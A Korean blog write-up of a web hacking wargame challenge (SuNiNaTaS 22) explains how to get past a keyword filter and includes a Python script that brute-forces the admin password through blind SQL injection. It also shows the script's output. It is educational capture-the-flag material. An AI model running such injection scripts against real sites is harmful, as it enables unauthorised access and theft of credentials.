URL은 다음과 같다.
http://suninatas.com/challenge/web22/web22.asp
해결책
들어가면 로그인 폼을 확인할 수 있다.
대놓고 blind SQL Injection문제라는 것을 구할 수 있다. 관례적으로는 admin의 패스워드를 구하는 문제가 될 거 같은데, 어떤 ID를 때려야 될지 주석에 힌트가 있나 보자
그렇다. admin 찾으면 되는 거 같다.
다음과 같은 Keyword가 필터링 되어있다.
- select, union, or, white space, by, having, from, char, ascii, left, right, delay, 0x
일단 다 대체제가 보이긴 하는데, 사실 저거 말고 as나 부등호 같은 것도 막혀있다. 여러 가지 해보는 것 밖에는 답이 없을 거 같다. Query가 한 줄로 이루어진 건지 id 쪽에 작은따옴표를 적고 주석을 활용하면 코드부로 들어갈 수 있다.
EX >
BLIND SQL Injection을 짜 보자
### 22.py
from requests import *
import string
if __name__ == "__main__" :
abc = string.ascii_letters + string.digits+string.punctuation
url = "http://suninatas.com/challenge/web22/web22.asp"
cookie = {"ASP.NET_SessionId" : "NI GGEO SU SSI MYEON DUEP NI DA",
"ASPSESSIONIDAQRBTDQD" : "NI GGEO SU SSI MYEON DUEP NI DA",
"_ga" : "NI GGEO SU SSI MYEON DUEP NI DA"}
length = 1
ans = ""
### find length for pw
while(True) :
params = "?id=admin%27+and+len%28pw%29%3D"+str(length)+"--&pw=2"
new_url = url+params
rec = get(new_url,cookies=cookie)
if(rec.text.find("OK <font size=4 color=blue>admin")>0) :
print("FOUND!")
break
else :
print("fails..."+str(length))
length += 1
### Actual pw
for i in range(1,length+1) :
for a in abc :
params = "?id=admin'+and+substring(pw,"+str(i)+",1)='"+a+"'--&pw=2"
new_url = url+params
rec = get(new_url,cookies=cookie)
if(rec.text.find("OK <font size=4 color=blue>admin")>0) :
print("FOUND!",a)
ans += a
break
print(ans)
결과는 다음과 같다.
fails...1
fails...2
fails...3
fails...4
fails...5
fails...6
fails...7
fails...8
fails...9
FOUND!
FOUND! N
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! )
N....................)
'WarGame > SuNiNaTaS' 카테고리의 다른 글
[SuNiNaTas] 써니나타스 26번 - FORENSICS (0) | 2021.06.22 |
---|---|
[SuNiNaTas] 써니나타스 24번 - SYSTEM (0) | 2021.06.14 |
[SuNiNaTas] 써니나타스 21번 - FORENSICS (0) | 2021.06.12 |
[SuNiNaTas] 써니나타스 20번 - SYSTEM (0) | 2021.06.12 |
[SuNiNaTas] 써니나타스 19번 - FORENSICS (0) | 2021.06.12 |